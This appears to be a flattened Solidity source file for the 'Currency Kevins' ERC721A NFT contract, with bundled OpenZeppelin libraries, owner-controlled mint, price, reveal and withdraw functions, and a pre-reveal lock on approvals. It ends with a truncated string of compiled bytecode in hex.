_msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: contracts/CurrencyKevins.sol pragma solidity ^0.8.4; error ApprovalCallerNotOwnerNorApproved(); error ApprovalQueryForNonexistentToken(); error ApproveToCaller(); error ApprovalToCurrentOwner(); error BalanceQueryForZeroAddress(); error MintedQueryForZeroAddress(); error BurnedQueryForZeroAddress(); error AuxQueryForZeroAddress(); error MintToZeroAddress(); error MintZeroQuantity(); error OwnerIndexOutOfBounds(); error OwnerQueryForNonexistentToken(); error TokenIndexOutOfBounds(); error TransferCallerNotOwnerNorApproved(); error TransferFromIncorrectOwner(); error TransferToNonERC721ReceiverImplementer(); error TransferToZeroAddress(); error URIQueryForNonexistentToken(); /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply. * * Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Compiler will pack this into a single 256bit word. struct TokenOwnership { // The address of the owner. address addr; // Keeps track of the start time of ownership with minimal overhead for tokenomics. uint64 startTimestamp; // Whether the token has been burned. bool burned; } // Compiler will pack this into a single 256bit word. struct AddressData { // Realistically, 2**64-1 is more than enough. uint64 balance; // Keeps track of mint count with minimal overhead for tokenomics. uint64 numberMinted; // Keeps track of burn count with minimal overhead for tokenomics. uint64 numberBurned; // For miscellaneous variable(s) pertaining to the address // (e.g. number of whitelist mint slots used). // If there are multiple variables, please pack them into a uint64. uint64 aux; } // The tokenId of the next token to be minted. uint256 internal _currentIndex; // The number of tokens burned. uint256 internal _burnCounter; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view returns (uint256) { // Counter underflow is impossible as _burnCounter cannot be incremented // more than _currentIndex times unchecked { return _currentIndex - _burnCounter; } } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { if (owner == address(0)) revert BalanceQueryForZeroAddress(); return uint256(_addressData[owner].balance); } /** * Returns the number of tokens minted by `owner`. */ function _numberMinted(address owner) internal view returns (uint256) { if (owner == address(0)) revert MintedQueryForZeroAddress(); return uint256(_addressData[owner].numberMinted); } /** * Returns the number of tokens burned by or on behalf of `owner`. */ function _numberBurned(address owner) internal view returns (uint256) { if (owner == address(0)) revert BurnedQueryForZeroAddress(); return uint256(_addressData[owner].numberBurned); } /** * Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used). */ function _getAux(address owner) internal view returns (uint64) { if (owner == address(0)) revert AuxQueryForZeroAddress(); return _addressData[owner].aux; } /** * Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used). * If there are multiple variables, please pack them into a uint64. */ function _setAux(address owner, uint64 aux) internal { if (owner == address(0)) revert AuxQueryForZeroAddress(); _addressData[owner].aux = aux; } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (curr < _currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (!ownership.burned) { if (ownership.addr != address(0)) { return ownership; } // Invariant: // There will always be an ownership that has an address and is not burned // before an ownership that does not have an address and is not burned. // Hence, curr will not underflow. while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } } revert OwnerQueryForNonexistentToken(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ''; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); if (to == owner) revert ApprovalToCurrentOwner(); if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) { revert ApprovalCallerNotOwnerNorApproved(); } _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken(); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { if (operator == _msgSender()) revert ApproveToCaller(); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ''); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { _transfer(from, to, tokenId); if (!_checkOnERC721Received(from, to, tokenId, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < _currentIndex && !_ownerships[tokenId].burned; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ''); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { _mint(to, quantity, _data, true); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1 // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; for (uint256 i; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); if (safe && !_checkOnERC721Received(address(0), to, updatedIndex, _data)) { revert TransferToNonERC721ReceiverImplementer(); } updatedIndex++; } _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || isApprovedForAll(prevOwnership.addr, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); if (prevOwnership.addr != from) revert TransferFromIncorrectOwner(); if (to == address(0)) revert TransferToZeroAddress(); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId].addr = to; _ownerships[tokenId].startTimestamp = uint64(block.timestamp); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId < _currentIndex) { _ownerships[nextTokenId].addr = prevOwnership.addr; _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { TokenOwnership memory prevOwnership = ownershipOf(tokenId); _beforeTokenTransfers(prevOwnership.addr, address(0), tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[prevOwnership.addr].balance -= 1; _addressData[prevOwnership.addr].numberBurned += 1; // Keep track of who burned the token, and the timestamp of burning. _ownerships[tokenId].addr = prevOwnership.addr; _ownerships[tokenId].startTimestamp = uint64(block.timestamp); _ownerships[tokenId].burned = true; // If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId < _currentIndex) { _ownerships[nextTokenId].addr = prevOwnership.addr; _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(prevOwnership.addr, address(0), tokenId); _afterTokenTransfers(prevOwnership.addr, address(0), tokenId, 1); // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times. unchecked { _burnCounter++; } } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert TransferToNonERC721ReceiverImplementer(); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * And also called before burning one token. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * And also called after one token has been burned. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been * transferred to `to`. * - When `from` is zero, `tokenId` has been minted for `to`. * - When `to` is zero, `tokenId` has been burned by `from`. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } contract CurrencyKevins is ERC721A, Ownable { uint256 public constant MAX_LIMIT = 2258; uint256 public constant MAX_MINTED = 20; uint256 public MINT_PRICE = 0.02 ether; bool public isMintOver = false; string public baseURI = "ipfs://Qma2nURx9hKdXubrq1HQmxANvfY5wKhmqTEGXs8B5E31JK/"; constructor() ERC721A("Currency Kevins", "CKEVIN") {} function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function mint(uint256 _count) public payable { uint256 currentTotal = totalSupply(); require(currentTotal + _count <= MAX_LIMIT); require(MINT_PRICE * _count <= msg.value || totalSupply() < 758); require(balanceOf(_msgSender()) + _count <= MAX_MINTED); _safeMint(msg.sender, _count); } function reveal(string memory _revealURI) public onlyOwner { baseURI = _revealURI; isMintOver = true; } function setPrice(uint256 _price) public onlyOwner { MINT_PRICE = _price; } function withdraw() public payable onlyOwner { uint256 balance = address(this).balance; require(balance > 0); _withdraw(msg.sender, balance); } function _withdraw(address _address, uint256 _amount) private { (bool success, ) = _address.call{value: _amount}(""); require(success, "_withdraw failed"); } function setApprovalForAll(address operator, bool approved) public virtual override { require(totalSupply() >= MAX_LIMIT || isMintOver); super.setApprovalForAll(operator, approved); } }
0x6080604052600436106101815760003560e01c806370a08231116100d1578063a22cb4651161008a578063c002d23d11610064578063c002d23d1461052e578063c87b56dd14610559578063e985e9c514610596578063f2fde38b146105d357610181565b8063a22cb465146104b1578063a560ed7b146104da578063b88d4fde1461050557610181565b806370a08231146103c2578063715018a6146103ff5780638da5cb5b1461041657806391b7f5ed1461044157806395d89b411461046a578063a0712d681461049557610181565b806318160ddd1161013e57806342842e0e1161011857806342842e0e146103085780634c261247146103315780636352211e1461035a5780636c0360eb1461039757610181565b806318160ddd146102aa57806323b872dd146102d55780633ccfd60b146102fe57610181565b806301ffc9a71461018657806306fdde03146101c3578063081812fc146101ee578063095ea7b31461022b5780630b59c43e14610254578063114cccd21461027f575b600080fd5b34801561019257600080fd5b506101ad60048036038101906101a891906127e8565b6105fc565b6040516101ba9190612ab4565b60405180910390f35b3480156101cf57600080fd5b506101d86106de565b6040516101e59190612acf565b60405180910390f35b3480156101fa57600080fd5b506102156004803603810190610210919061288b565b610770565b6040516102229190612a4d565b60405180910390f35b34801561023757600080fd5b50610252600480360381019061024d91906127a8565b6107ec565b005b34801561026057600080fd5b506102696108f7565b6040516102769190612ab4565b60405180910390f35b34801561028b57600080fd5b5061029461090a565b6040516102a19190612b51565b60405180910390f35b3480156102b657600080fd5b506102bf610910565b6040516102cc9190612b51565b60405180910390f35b3480156102e157600080fd5b506102fc60048036038101906102f79190612692565b61091e565b005b61030661092e565b005b34801561031457600080fd5b5061032f600480360381019061032a9190612692565b6109c9565b005b34801561033d57600080fd5b5061035860048036038101906103539190612842565b6109e9565b005b34801561036657600080fd5b50610381600480360381019061037c919061288b565b610a9a565b60405161038e9190612a4d565b60405180910390f35b3480156103a357600080fd5b506103ac610ab0565b6040516103b99190612acf565b60405180910390f35b3480156103ce57600080fd5b506103e960048036038101906103e49190612625565b610b3e565b6040516103f69190612b51565b60405180910390f35b34801561040b57600080fd5b50610414610c0e565b005b34801561042257600080fd5b5061042b610c96565b6040516104389190612a4d565b60405180910390f35b34801561044d57600080fd5b506104686004803603810190610463919061288b565b610cc0565b005b34801561047657600080fd5b5061047f610d46565b60405161048c9190612acf565b60405180910390f35b6104af60048036038101906104aa919061288b565b610dd8565b005b3480156104bd57600080fd5b506104d860048036038101906104d39190612768565b610e61565b005b3480156104e657600080fd5b506104ef610e9c565b6040516104fc9190612b51565b60405180910390f